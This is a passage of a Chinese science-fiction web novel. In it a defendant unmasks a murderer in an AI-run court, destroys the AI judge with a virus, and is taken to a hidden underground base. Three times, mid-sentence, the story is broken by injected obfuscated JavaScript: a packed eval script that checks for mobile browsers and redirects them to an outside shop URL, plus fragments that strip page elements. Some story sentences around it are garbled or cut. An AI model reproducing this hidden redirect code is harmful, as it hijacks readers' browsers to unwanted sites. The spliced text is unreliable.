所以,一定还有什么线索被她漏掉了! “辩方请求再次检查证物监控视频!”宣黎阳大声提出要求。 法官:“请求有效。” 检察官优雅地做了一个“请便”的手势,语气充满嘲讽:“尽管查,看你能找出什么花来。” 宣黎阳走到光屏前,反反复复逐帧检查两个监控视频。可是除了他们三个人,以及在垃圾堆里翻找的流浪猫狗,画面里再也找不到任何其他活物的踪迹。 这个世界会有什么高科技装备,可以规避掉监控吗? 还是说,凶手用了什么延迟杀人的装置,在几天以前就布置好了陷阱? 检察官不耐烦地催促:“辩方还有什么可说的?庭审时间有限,我们可没空陪你浪费一整天。” 宣黎阳的额头几乎要渗出冷汗。 福尔摩斯不管用,那就换一个思路! 她突然想起以前玩过的一个游戏。 【把思路……逆转过来。】 现在她一直是从现有的证据去寻找凶手……如果逆转过来呢? 先确定凶手是谁,再去找证据证明他如何犯罪。 凶手可能是谁呢? 她脑中灵光一现,突然有了答案。 10. 正义法庭(六) 宣黎阳猛地意识到,她被检察官误导了,陷入了惯性思维。 她一直依赖监控视频寻找凶手,但案发现场,除了她们俩和被害人,还有两个人来过,却巧妙地没有出现在那段被截取的监控视频里。 第一个,就是发现尸体的执行队长。贼喊捉贼,这在推理作品中也不是什么新鲜套路。在最古早的侦探小说里,密室杀人的一个常见手法就是,当众人发现死者时,死者其实还活着,直到凶手在混乱之中给予致命一击。  会采用这种设定来构陷她们吗?执行队长有可能谎报发现尸体的时间点吗? “辩方请求传唤证人——被害人尸体的第一发现人,执行队长!”宣黎阳大声提出。 法官:“请求有效。” 执行队长走上证人席坐下。 宣黎阳开始询问:“请证人陈述发现尸体的经过。” 执行队长平静地回答:“执行大队每天上午7点准时集合,布置当天的巡逻任务。今天集合时,我发现被害人Z-1967号迟迟未到场且未请假,于是立刻调取了他身上的定位器信号,发现信号轨迹显示他昨天下班后先回到了宿舍,于昨晚23点前离开宿舍前往708号巷,之后信号就一直停留在巷内,未曾移动。” “我意识到情况异常,立即带领两名执行官赶往708号巷,并于7时30分在巷内深处发现了被害人的尸体。” 宣黎阳追问:“请问证人,你和你带去的两名执行官,能提供从昨晚到发现尸体这段时间的不在场证明吗?” 执行队长似乎早有准备:“我们三人的定位器记录可以证明,昨晚下班后,我们一直待在执行官宿舍,未曾离开。宿舍内的其他执行官也可以为我们作证。今早集合到发现尸体的这段时间,我们三位可以互相作证,你也可以调取沿路的监控摄像头查看。” 宣黎阳开始头脑风暴。死亡时间锁定在昨晚23点到今早7点,执行队长和另外两名执行官有明确的不在场证明,既敢让他们作证,想必相关记录和人证都早已安排妥当,她去查证估计也是白费力气。 但是……好像有哪里不对? 她脑中灵光一闪,抓住了之前忽略的一个细节:“你刚刚说,你们每天是几点集合?” “早上7点。”执行队长确认。 “今天早上的集合,只有被害人Z-1967号一个人没到吗?” 执行队长愣了一下,随即回答:“是。” “法官大人!证人的证词存在矛盾!”宣黎阳立刻转向法官,声音提高。 检察官不耐烦地插嘴:“又是哪里有矛盾了?” 宣黎阳条理清晰:“今天早上7点整,正是我和另一位被告在709巷被执行官Z-1988号抓捕的时间!那么执行官Z-1988号本人怎么可能按时赶到早上7点的集合?今天的集合,明明少了两个人才对!除了被害人,还应该有Z-1988号!” 执行队长似乎被问住了,勉强解释道:“这个……Z-1988号后来还是赶到了集合点,并且向我说明了晚到的原因,就是因为来的路上抓捕了你们两位。这也不能完全算没到吧?” 宣黎阳乘胜追击:“那么请问,709巷是执行官Z-1988号从宿舍前往集合点的必经之路吗?” 执行队长犹豫了一下:“据我所知……并不是。” “那他为什么会在该去集合的时间,不去集合,反而特意绕路跑到709巷去?”宣黎阳抓住了关键点。 执行队长语塞:“这……你得去问他本人。” 宣黎阳注意到一旁检察官的表情开始变得难看起来。 很好!宣黎阳心中振奋。执行官Z-1988号,正是那个出现在现场,却巧妙避开了案发时间段监控的第二个人!监控只截取到她进入709巷就停止了,很明显是检察官故意为之,掩盖了Z-1988号随后出现并抓捕她们的事实。这样看来,这位Z-1988号的嫌疑陡然上升! “法官大人!辩方请求传唤第二位证人——执行官Z-1988号!”宣黎阳顺势提出请求。 法官似乎思考了一下,才不情愿地同意:“……请求有效。” 执行官Z-1988号迈着沉稳的步伐再次走上证人席,脸上看不出丝毫慌乱。 宣黎阳毫不客气,直接发问:“请证人陈述从昨晚下班后到今天上午的行踪,并提供相应的物证或人证。” Z-1988号回答得滴水不漏:“昨天下班后,我直接回到了宿舍,一直没有离开。没有人证,因为我喜欢独处。物证就是我的定位器记录,显示我一直在宿舍区域,直到今天早上才离开宿舍前往709巷。” 他主动调出了自己的定位历史记录,光屏上清晰地显示,信号确实在宿舍区停留了一整晚,直到今早才离开。 “那你为什么今天早上7点会在非必经之路的709巷出现?”宣黎阳紧紧逼问。 Z-1988号的回答让宣黎阳差点噎住:“去遛狗。” 宣黎阳以为自己听错了:“……什么?遛狗?” “对。”Z-1988号一本正经地解释,“我不喜欢人多嘈杂的环境,但很喜欢狗。我养了一只电子狗。我的狗喜欢去709巷和那里的流浪狗玩耍。” 宣黎阳一时无语。她本以为对方会编造一个多么冠冕堂皇的理由,结果居然这么……朴实无华?而且监控视频里确实偶尔有流浪狗出现,这个理由听起来竟然有点合理。 她只能揪着细节不放:“你那个时间点去遛狗,不怕集合迟到吗?” Z-1988号坦然道:“今天我的狗兴致比较高,多玩了一会儿。而且,抓捕你们两位也耽误了一些时间。我相信队长能够理解。” “……” 宣黎阳无话可说,挫败地回到了被告席。贩子小声问她:“老板,我们这是……放弃了?” 见宣黎阳一脸愁容,贩子又悄悄道:“可能是我多心哈,但我觉得,遛狗这件事,有些奇怪。” 宣黎阳一愣:“什么意思?” 检察官那边开始做结案陈词。 贩子快速低声解释:“电子狗其实不需要人去遛啊。设定好时间和路线,它们可以自己出去遛自己,到时间就会自己回来的。” 宣黎阳瞳孔猛地一缩,本人非原住民,不知道这事啊:“所以说……” 这个Z-1988号去709巷根本就不是为了遛狗! 宣黎阳在脑海中飞快地整理思路。在杂乱且有流浪猫狗乱窜的公共环境中提前设置延迟杀人装置是有一定失败风险的,那么,假定Z-1988号是凶手,接下来就是推测杀人手法了。 密室杀人,尸体的第一发现人执行队长有不在场证明不是凶手,那就只剩下一种可能——真正的凶手在监控视频开始记录前就已经进入了密室,并且在监控视频结束记录后才离开,这样就不会被拍到。 但是,这个推理与定位器的记录矛盾!前一晚23点进入708巷的定位信号是被害人的,而凶手Z-1988号的定位器信号显示他整晚都在宿舍,直到第二天早上才离开。 除非……定位器根本就不在凶手身上? 如果定位器能取下来,那凶手的作案过程就容易推理出了: Z-1988号昨晚回到宿舍后,取下了自己的定位器并藏在他的电子狗身上。他本人则悄然离开宿舍,提前潜入708巷埋伏。被害人按约定于23点到达,通过连接管道先去709巷见了贩子,然后返回708巷,并被Z-1988号杀害。 此后,Z-1988号一直躲在708巷内。直到第二天早上,他算准时间前往709巷,接上被设定好程序,将定位器一并带来的电子狗,制造出自己刚从宿舍出发前往709巷的假象。 而他只要把锅甩到那个倒霉的假证贩子身上,一切都水到渠成了本就欲清除这些非法程序,也乐得看见这个结果,只会一起包庇他的罪行,不会深究。 毕竟,什么是正义说了才算。 但是,宣黎阳没有任何直接证据能证明这一切。最好的证明就是监控视频的完整记录,尤其是23点前和7点后的部分,是绝不可能给她的。 她不得不承认,这一局赢了。既然逻辑和证据的路都被堵死,那么,只剩下最后的手段了。 她小声问贩子:“你之前说过,你复制出的程序一旦离开你,你只能让它继续复制,不能再控制或修改了,对吧?” 贩子不明所以:“是啊,怎么了?” “听着,”宣黎阳眼神锐利起来,“一会儿你等我口令。我让你动手,你就立刻开始最大规模的复制,用上你储存的所有源晶,一点都不要保留!” “能不能……” “不能!必须和你上次一样,一滴都不剩!” 贩子虽然懵,但还是咬牙答应下来:“……行!听你的!” 陪审团已经讨论完毕。法官举起了法槌,准备落下。 “等等——!”宣黎阳大喊,“我有重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026642|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证据要提交给法官大人过目!” 法官:“证据提交环节已经结束了!” “不是新证据!是已经提交过的证物!我发现了上面有之前被忽略的重大线索!”宣黎阳再次请求。 检察官不满地站起来,大声质疑:“这符合流程吗?” 法官在脑内快速搜检了一番:“……好像……没有明确违反规定……” 宣黎阳立刻对法警道:“请把那份作为证物的伪造通行证拿给我!” 法警看向法官,法官点了点头。通行证被递到了宣黎阳手中。 检察官冷笑一声,但还是按照程序假模假样地询问:“这张假证有什么关于谋杀案的新线索?” 宣黎阳举起那张散发着微光的卡片,对法官道:“真凶算无遗策,但可惜的是,这张假证上隐藏着关于ta的关键信息!法官大人,您坐得太远了,只怕看不清楚细节!” 法官被她说得一头雾水。 宣黎阳诚恳道:“我请求上前,为法官大人您亲自指出问题所在!” 法官犹豫:“交由法警也……” “不行!宣黎阳态度坚决,“这条线索非常关键,而且隐藏得很深,我不放心交给其他人来指出。况且,流程里也没说不可以吧。” 法官似乎被这胡搅蛮缠弄得有些卡壳,只想快点拍板结束,最终妥协:“……行吧,你上来。” 宣黎阳紧紧握着那张假证,一步步走上台阶,来到那高台之上,自以为在睥睨众人的法官面前。她将假证递了过去。 法官接过卡片,疑惑地问:“线索在哪?” 宣黎阳假意凑近,用手指着卡片上某个毫无意义的区域,同时,她的另一只手背在身后,意念一动—— 【碎片刃·E级】 那柄极不稳定、泛着流光的短剑,瞬间凭空出现在她手中! 就是现在! “动手!”宣黎阳向被告席大喊。 与此同时,她不再伪装,握紧碎片刃,用尽全身力气,朝着近在咫尺的法官猛刺过去! 下方的贩子反应极快,在宣黎阳喊出口令的刹那,将体内储存的所有源晶能量一齐燃烧! 众人还来不及反应,那张被法官拿在手中的假证,如同被注入狂暴能量的病毒源头,猛地膨胀变形!无数扭曲、增殖的代码像黑色的潮水,顺着法官握着卡片的手,疯狂地向上蔓延,瞬间包裹了法官大半个身体! “警报!遭受未知病毒攻击!启动防御程序!”法官发出了惊怒的电子音。它被病毒包裹的身体爆发出刺目的强光,防御程序试图清除这些恶意代码。 下面的法警和检察官也立刻反应过来,冲向审判席想要救援。 宣黎阳无暇顾及,手中的短剑不顾一切地朝着法官的核心区域连续猛刺! E级武器结构极其不稳定,每一次攻击都让短剑崩裂出更多的碎片。细小的晶体划伤了她的手臂、脸颊,血液顺着手背流下,又随着她的每一次攻击,与席卷而来的黑色病毒一起贪婪地身体的更深处腐蚀而去。 咔嚓! 随着一声细微却清晰、仿佛玻璃碎裂的声响,碎片刃彻底瓦解。迟来的法警和检察官也爬上了最后一级台阶,怒气冲冲地冲上来要抓捕宣黎阳。但就在他们碰到宣黎阳的前一秒,在短剑瓦解的前一瞬,连续而猛烈的进攻终于的防御程序上撕开了一个至关重要的缺口。 早已蓄势待发的病毒程序,顺着小小的缺口,疯狂涌的核心! “不——!!!”法官发出了最后的尖锐爆鸣。 刺目的光芒从被病毒层层包裹的核心渗出,试图做最后的挣扎,但无济于事。疯狂的病毒急迫地吞噬本体的源晶能量,并以惊人的速度进行着新一轮规模更大的复制! 很快,黑色的代码潮水般淹没了那团光芒,将其彻底吞噬。抓住宣黎阳的法警身影急速扭曲,连同一旁欲转身逃离的检察官,霎那间化作了虚无的光点,消失了。 随核心熄灭,由它构建和维持的“神川市”以摧枯拉朽之势开始剧烈坍缩!高楼、霓虹、街道、法庭、贫民窟……所有的一切都化作混乱的代码,被吸入那个原本是法官位置的、不断缩小的奇点之中。 最后,伴随着无声的湮灭,整个“神川市”,连的核心,彻底消失无踪。 只剩下宣黎阳的意识漂浮在虚空的黑暗中。 她耳边传来加里医生喜出望外的呼喊: “醒了!她醒了!快!准备撤离!” 11. 基地 宣黎阳头脑昏昏沉沉,就像是在滚筒洗衣机里搅了好几个来回,调动不起一块肌肉,也有点想吐。等意识渐渐清醒过来,她发现自己正趴在一个宽阔有力的背上,这满满的安全感……感觉是施蓝。只是这被人背着的滋味不是很好受,施蓝浑身上下都是机械装甲,肩胛骨处凸出的金属块硌得她肺疼。 队友们正在快速但极其安静地移动,只有急促的呼吸声在黑夜中格外清晰。 不一会儿,咸腥的海风扑面而来,紧接着是一阵轻微的颠簸和引擎发动的声音。 终于,她被施蓝放在了逃生艇的皮质座椅上。伴随着海浪的轻微摇晃,宣黎阳艰难地睁开了眼睛,映入眼帘的是几张放大的面庞。 见宣黎阳醒来,众人似乎都松了一口气。 “太厉害了!”卡拉激动得本想去拍宣黎阳的肩,手伸一半中途转了个弯,一巴掌拍在了逃生艇上,“哎呀你没看到!太可惜了!刚刚我们冲出来的时候,沙滩上那些无人机和巡逻车,噼里啪啦掉了一地!一点反应都没有!你是怎么做到的?” 施蓝兴高采烈地举起身边一个鼓鼓囊囊的大袋子,那袋子不知道用什么材料制成的,看起来异常结实,里面发出金属碰撞的轻响。 “我从无人机上捡了不少枪械零件和能源核心,回去让基地的机械师看看,说不定能改装一下,给我们自己用!” 加里挤开其他人,成功凑到了最前面:“奇迹!这是医学史上的奇迹!你知不知道你是20年来第一个成功深潜并且平安回来的人?有没有感觉到哪里不舒服?头晕吗?恶心吗?看东西有没有重影?你看我这是几根手指?” “行了别挤了,没看到她被你的大光头给晃得睁不开眼了吗?”舒彤的心情显然也很好,这会儿竟开起了玩笑,她用没受伤的手轻轻推开了加里过于热情的脸,“你们几个,让她休息一会儿。有什么问题回去再问。” 宣黎阳虚弱地点了点头,重新闭上了眼睛。她确实需要安静,迫切需要。但并非完全是因为身体上的疲惫,而是她脑子里,刚刚进来了一个人。 在她意识刚刚回归,还很迷茫的时候,一个熟悉的聒噪声乍然在她脑海深处响起,吓得她差点突破身体极限,从施蓝背上跳起来。 “老板!老板你等等我啊!咕嘟咕嘟——” “老板!你漂太快了!一眨眼就不见了!咕嘟——” “老板!你不会是打算用完就扔了我吧?老板——!” 宣黎阳忍无可忍,在脑中怒吼一声:“闭嘴!” 脑海中瞬间安静了,但那种外来物的入侵感并未消失。过了一会儿,一个小心翼翼的声音再次响起: “老板,你终于理我了……但是你能不能先别漂了?” 宣黎阳强迫自己冷静,集中意念:“你先给我解释清楚,你为什么会出现在我的脑子里?另外,什么叫让我先别漂了?” 小贩子的声音也带着困惑:“那个,神川市不是坍缩了吗?没了寄居地,我自然就被踢出来了,现在……现在我也不知道在哪,看样子是在水面上漂着呢。” 宣黎阳有点意外:“你的意思是,神川市本来是在水下的?源界是在水里?” “我也不知道源界整体是什么样,我没去过神川市以外的地方。不过被踢出来的路上,我倒是瞥见了,水下有好多层呢,还有好多个花花绿绿的气泡,似乎是类似神川市的结界空间,不过我从旁边路过,具体的也没看清楚。” 宣黎阳陷入沉思。她好像有点明白为什么黑客进入赛博空间要被称为“深潜”了。之前她一直觉得这个名字没什么道理,明明用“上传”之类的说法更合理些。 现在看来,这个源界本身可能就是某种意义上的“数据海洋”,而且存在不同的深度。每一层区域,都可能存在着无数个AI统治的领域。她击退,使得结界的气泡受损,海水灌入,数据海洋吞噬了这个自治的王国。本体呢,也被数据海洋吞噬了吗? 还有,这片海洋到底有多深?下面还藏着什么? “老板,这你可别问我,我真没去过更深的地方。不过以前倒是听路过的流浪程序说过,越往下越恐怖,有各种稀奇古怪的大家伙。他们警告我,没事儿千万别去找死。” 宣黎阳只能暂时搁置思路:“那你是怎么跟着我的?我也在水上漂吗?” 她明明已经退出源界了,为什么贩子还能看到她? “我被踢出来的时候,就在你旁边啊!你是我老板,我当然要跟着你了。但你出来之后就变成了一座岛,下一秒就飞快地漂走,而且越漂越快!老板,为什么一个岛可以跑这么快啊?我拼了老命才勉强跟上你,差点就跟丢了!你是不要我了吗?” 岛?自己在源界的表层意识投影,居然是一个岛?还在快速移动?嗯,不得不说,和源界还挺适配的。 宣黎阳追问:“水面上除了我和你,还有别的东西吗?” “没了,就是黑漆漆的一片海,能算得上是陆地只有你这个岛……老板,你能不能停一下?或者漂慢点?让我爬上去呗!要是跟丢了我就找不到你了!” 宣黎阳睁开眼,看着逃生艇快速破开海浪,远处,朝阳下的海岸线若隐若现。她好像明白了。 只怕源界中自己的意识和现实中的位置是对应的。她本人在乘坐逃生艇,所以代表着自己的“岛”也跟着漂得飞快。 至于想爬到我头上偷懒…… 宣黎阳面无表情,但心里的声音却温柔可亲:“我当然不会抛弃你啦。但我也没法控制岛的速度。辛苦你再坚持一会儿咯,加油。” 上了岸,又开始坐车。队内无人说话,大家都在抓紧休息。脑海中的声音委屈地抽噎了一声,随后也消失了。没了吵闹声,宣黎阳几乎一上车就立刻陷入沉睡。 不知过了多久,她感觉有人在轻轻摇晃她的肩膀。 “宣黎阳,我们到了。”是舒彤的声音。 她跟着众人下了车,带着凉意的清新空气一下涌入肺中,让她精神一振。眼前的景象让她有些意外。 不是想象中黄沙掩体,废土燃烧的末日地堡,也不是灯红酒绿,霓虹闪烁的赛博都市,映入眼帘的是一片茂密葳蕤的原始森林。参天古木遮天蔽日,粗壮的藤蔓缠绕其间,脚下是厚厚的落叶层,空气中弥漫着雨后潮湿的泥土气味和被踩碎的树叶汁水的味道。 “前面车子进不去了,得步行一小段。你自己能走吗?” 宣黎阳活动了一下僵硬的四肢,感觉比刚从源界出来时的状态好了很多。怪不得大家总说天然氧吧治愈身心,她确实是好久没被这样疗愈过了。 “可以。”她点点头,忍不住问道,“不是说核爆后污染严重、寸草不生吗?怎么这里还有这么多树?” 舒彤一边跟着队伍前进,一边解释:“这片区域在战前就是人迹罕至的原始森林,位于几个主要冲突区的夹缝里,方圆几百公里都没什么人烟,所以当初也没人浪费核弹炸这里。算是不幸中的万幸吧。” 跟在身旁的卡拉凑过来,一脸坏笑着补充:“不过林子里的动物还是被飘来的辐射尘埃污染了,变得很奇怪哦!” 她故意神秘兮兮地压低声音:“五条腿的东北虎!站起来有两层楼高的棕熊!流着蓝色血液的巨型野猪!” 她促狭地瞟了一眼前面闷头走路的向天瑞:“之前咱们向队长,有一次出外勤招惹了一头变异棕熊,被追着屁股跑了好几公里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026643|194447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !最后还是指挥官接到紧急求援,派人带着重武器去接应才脱险。回来的时候啊,那叫一个狼狈,腿都被熊拿去当磨牙棒了!” 宣黎阳看向走在队伍前端的两个男人。向天瑞和江鹏海自从她醒来后就几乎没怎么说过话,一脸阴沉,指不定在憋什么坏水。 卡拉还在继续吐槽:“不过说真的,变异熊虽然可怕,但咱们好歹都是经过义体改造的人,又经过专业训练,还能差点被野兽给吃了,我真是……” 宣黎阳还想再多问些关于基地的事情,走在前面的舒彤却停了下来。 “就是这儿了。” 众人聚集到一块高达三米、宽约两米的岩石前,向天瑞面无表情地站在原地。 宣黎阳注意到他耳后的芯片槽闪过一道淡蓝色的微光。下一秒,一个温柔的电子音响起。 “神经识别同步完成,欢迎回家。” 被藤蔓和苔藓覆盖着的巨石无声无息地向内滑开,露出了后面灯火通明的通道。 “刚才那是……?”宣黎阳忍不住低声问。 “脑电波识别。”舒彤简单解释,“基地入口的防御系统。识别特定的神经信号,比人脸、视网膜或声纹更难伪造和劫持。每个有权限进入基地的人,脑波特征都是唯一的钥匙。” 小队进入通道。通道内部是冰冷的金属墙壁,顶部排列着发出柔和白光的灯带,能听见他们的脚步声在长长的密闭空间里回荡。大约过了二十米,前方出现一道厚重的气密门。 “身份确认,向天瑞队长及其所带领的第11区特种作战部炫风小队成员。检测到一名未登记生命体征信号。”又是一道电子音响起。 舒彤上前一步:“登记临时访问权限。身份:宣黎阳。由我本人担保。” “权限已记录。舒彤副队长,请告知访问者基地基本条例:禁止进入无关区域,禁止攻击行为,禁止私自外出。所有行动需有担保人陪同。” “明白。” 伴随着轻微的放气声,气密门向两侧滑开,露出了门后的景象。 即使有了心理准备,宣黎阳还是被眼前的景象所震撼。 门后并非预想中的狭小空间,而是一个巨大得超乎想象的穹顶。穹顶极高,目测至少有百米,上面模拟着自然的蓝天白云,甚至还有一道柔和的“阳光”投射下来,照亮了整个空间。有一点像楚门的世界。 穹顶之下,是层层叠叠、由金属和混凝土构成的建筑群,像是另一种生态的原始森林。空中,小型运输无人机沿着固定的轨道穿梭不息,划下莹白色的轨迹。远处可以看到种植作物和养殖畜牧的垂直农场层,另一侧则是各种大型机械设备齐全的工业园区。 不像是一个简单的避难所,更像是一座功能齐全的地下城市。 “壮观吧?整座山都被我们挖空了!”卡拉看到她惊讶的表情,似乎很开心。 他们所处的通道出口位于穹顶的某一层,外面是金属网格板搭建的走廊。穿着不同颜色制服的人匆匆走过,有人向舒彤点头致意,也有人好奇地打量着明显是生面孔的宣黎阳。 加里非常自觉地凑了过来:“副队,我先带她去医疗部做个全面检查?看看S级义体的适配情况。” “先不去医疗部。”舒彤打断了他,“我得先带她去见指挥官。” 加里愣了一下:“啊?这么急吗?至少让我给她做个升级扫描,确保她不会突然在指挥官面前……”他做了个脑袋爆炸的手势。 “太费时了。正因为要去见指挥官,才更不能耽搁。”舒彤看了眼身边的宣黎阳,“实验体、S级义体、成功深潜……必须第一时间向指挥官汇报。而且,关于她的身份和去留,也需要指挥官定夺。” 12. 入住 舒彤带着宣黎阳,熟悉地穿过一个个蜂巢式的建筑群,又经过几道关卡的审核,最后终于乘坐升降梯来到顶层,敲门进入一间陈设简洁的办公室。桌上的铭牌写着:琼·坎贝尔。 一位肩章上刻着第11区标记、头发梳理得一丝不苟的中年女性从全息报表前转身。 “舒彤副队长,辛苦了。” 她的目光转向宣黎阳,眼神带着毫不避讳的审视意味:“这位就是你报告里提到的宣黎阳?” 舒彤立正敬礼,简洁明了地汇报了任务的关键节点——“烟烟罗”的到手的突然袭击、富才英的牺牲、实验体的启用、宣黎阳的神经兼容性、以及最终的深潜行动。 令宣黎阳感动的是,她着重强调了宣黎阳在绝境中发挥的不可或缺的作用。 在此期间,琼指挥官没有发表任何意见,耐心听着,手指时不时轻轻敲击着桌面,若有所思。 “舒彤,”她等舒彤说完才缓缓开口,语气淡淡,“你很清楚基地的法律。‘烟烟罗’是第1区指定的回收品,深潜是被严格禁止的高危行为。你的每一个决定,都将小队置于了额外的风险之中。何况军纪严明,你多次以下犯上,违抗队长向天瑞的指令,他在报告里已经事无巨细地向我汇报过了。” 她的目光有意无意地落在宣黎阳身上,又看向舒彤:“尽管行动最终的结果……出人意料,甚至可以说是带来了某种程度上的战略转机。” 舒彤正视着对上指挥官的目光,毫无退缩之意:“指挥官,我愿意承担全部责任。但宣黎阳的潜力可能远超我们的想象。将她和S级义体留在第11区,由我们来引导和培养,比起上交给第1区,对基地的长期发展更有利。” 琼指挥官像是赞赏,又像是无奈:“潜力需要合适的土壤才能生长,而法律是维持土壤不至于崩坏的根基。你的判断或许是正确的,但是动摇了基地的秩序。我不可能将这件事就这么轻描淡写地带过。” 舒彤不再说话,但仍目光灼灼,坚定地看着琼指挥官。两人陷入了僵局。 “好吧。”琼指挥官摇了摇头,最终做出了决定,“宣黎阳可以留下,获得临时居民身份,但要列入基地重点观察名单,由你亲自监督。‘烟烟罗’暂由她保管,第1区那边,我去解释。” 她看向舒彤,眼神变得严肃起来:“至于你和你的小队,需要为这次行动中的违纪行为负责。全部人员,即日起调离特种作战序列,转入后勤支援部,在新的岗位上继续为基地服务,回去给我好好反思!” “是,指挥官!” 舒彤绽开笑容,知道指挥官又一次为她的任性行为顶住了上级的压力。她再次敬礼,带着宣黎阳转身欲离开。 琼指挥官却又叫住了她们:“舒彤,我很欣赏你的性格,但它可能不太适合这个社会。向天瑞是个软蛋,但他就是能在这个圈子里混得开,这次也不会跟着你们受到处罚。作为第11区的指挥官,我希望你能更好地发挥你的能力,而不被战场外的其他事情绊住脚跟。” 舒彤顿了顿,朝指挥官深深地鞠了一躬。 “是!” 升降梯一路向下。舒彤平静地为宣黎阳介绍基地的构成,似乎完全没有受到刚才事情的影响。 “刚刚的顶层是指挥与核心研究区,一般人没有权限不得进入。” “那边,”她指向左侧一片传来隐约机械轰鸣的区域,“是工业制造和能源中心,基地的武器装备、义体配件、还有能源供应都来自那里。但我们的生产能力很有限,大部分武器装备都是通过回收和改造进行二次利用。特别是高等级义体,供给很紧张。” 宣黎阳顺着她指的方向看去,只见巨大的管道沿穹壁延伸,运输履带正在有序运转,将物资送往不同楼层。 “右边,看到那些绿色标识了吗?那是垂直农业与生态循环区。我们吃的食物、呼吸的循环空气、喝的水,都靠它们来维持。”舒彤继续介绍。 “不过基地日常基础配给的食物只是合成食品。如果想要吃到真肉,需要用贡献点来兑换。” “贡献点?”宣黎阳好奇地问。 “贡献点就是你在基地工作或者完成任务获得的报酬,可以用于换取基础生活保障以外的一些物品或服务。像光头就都拿来换研究设备了,而施蓝都花在了专项训练场里。” 舒彤罕见地卡了壳,不自然地补充道:“以及买蛋白粉。” 宣黎阳满脑子问号:“蛋白粉?” “施蓝她……对于肌肉有种狂热的追求。”舒彤似乎对在别人背后说这些有点不习惯。 居然是健身狂魔吗?宣黎阳不禁肃然起敬:“我还以为她是装了义体,个头才那么高大。” 舒彤解释道:“她只装备了提升防御的皮肤硬化和强化力量的合金骨骼,真刀真枪的肌肉是她自己一点一滴练出来的。她很享受自己的身体逐渐变得强大的过程,所以只要一有空就泡在训练场里,叫都叫不出来。” 宣黎阳开始替施蓝算账:“每天撸铁,再加上蛋白质需求,这都是额外的开销,那得花掉多少贡献点啊……” 舒彤点头:“所以她才专门跑到特种作战部来。因为我们任务危险,报酬丰厚。等帮你登记完,你的贡献点也会到账,这一趟不会少的,你可以去农场餐厅吃点好吃的。贴心提示:食堂的合成食品吃两天就想吐。” 宣黎阳觉得有点好笑,原来堂堂炫风小队队长也会因为食堂难吃而困扰,居然跟她这个2025年大学生面临同样的问题。不知道这里的食堂会有什么奇葩菜谱呢,西红柿炒汤圆? 她们来到底层,路过一个开阔的圆形广场,三三两两的人群聚在一起交谈。圆形广场的外围立着四面圆弧形的矮墙,上面整整齐齐挂着一排排铭牌,在人造日光下熠熠生辉。 “这是……?”宣黎阳想起了卡拉跟她说过的话。 “纪念墙,每个铭牌都是一位阵亡的同胞。” “卡拉和我提过,说差一点我们都要被挂在上面了。”宣黎阳想开个玩笑,活跃下气氛,“这可不是我想要的开挂人生。” “我想富才英应该已经挂上去了。”舒彤目光在墙上寻找着。 宣黎阳沉默了。她与富才英素不相识,没什么感情。如果不是富才英的牺牲,她也不会被唤醒。但她的队友们曾与富才英并肩作战,应该会挺难过的。 “队长……”宣黎阳想安慰舒彤,才开口就被打断了。 “没关系,”舒彤反过来让她放轻松,“这很正常,这种日子我们已经习惯了。每天都会有不少人挂上去,再过几个月,只怕四面墙都不够挂的。” 两人穿过中央广场。尽管舒彤说得仿佛大家对生死离别都已经习以为常,但纪念墙前还是有隐隐的啜泣声传来。宣黎阳的脚步都不由得放轻了,怕惊扰到什么。 很快,舒彤带着宣黎阳走向另一端的升降梯。 “这是我们的生活区。上层主要是住所、训练场、食堂和大部分后勤保障部门。我们的宿舍就在上层C区。” 升降梯到达上层。一开门,家常的生活气息扑面而来,通道两侧是一排排整齐的金属门,门上有着编号和简单的身份识别器。偶尔有居民开门进出。 “我们到了。”舒彤在一扇标着“C-17”的房门前停下,“这里我们小队的宿舍,六人间,上下铺。条件比较简陋,但该有的都有。你先休息,熟悉一下环境。我去帮你开通权限,接入基地的系统,之后你就能通过芯片直接调用系统了。” 宣黎阳与舒彤告别,推开C-17的房门。 还没来得及看清里面的陈设,两个身影就欢天喜地地冲了过来。 “我就知道指挥官会留下你的!”卡拉一把抓住宣黎阳的胳膊。 施蓝也满脸兴奋地站在一旁:“恭喜恭喜!太棒了!” 宣黎阳反而有些不好意思了,毕竟整个小队都因为她被调去了后勤支援部。她张了张嘴,正准备开口表达歉意,却被卡拉打断了。 “哎呀,别摆出那副表情,我们都知道了!”卡拉牵着她走进宿舍,语气轻快,“没你想的那么严重!去后勤支援部挺好的!真的!” 宣黎阳有些疑惑地回头看向施蓝,毕竟这位重炮手给人的感觉不像是会安于后勤工作的人:“我以为你们会更想留在特种作战部,为了赚取更多的贡献点?” 施蓝看起来反而松了口气,摆了个健美的动作:“这一趟任务的贡献点已经够我们休息一阵子了。而且,特种任务出去一趟动辄十天半个月,没法系统性锻炼,我感觉肌肉都有点萎缩了。刚好,趁这段时间留在基地,我可以把训练强度拉满,抓紧补回来。” 卡拉笑着吐槽:“一天到晚就想着你那点肌肉!再练下去就要变成铁疙瘩了!” 宣黎阳也被逗笑了,看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 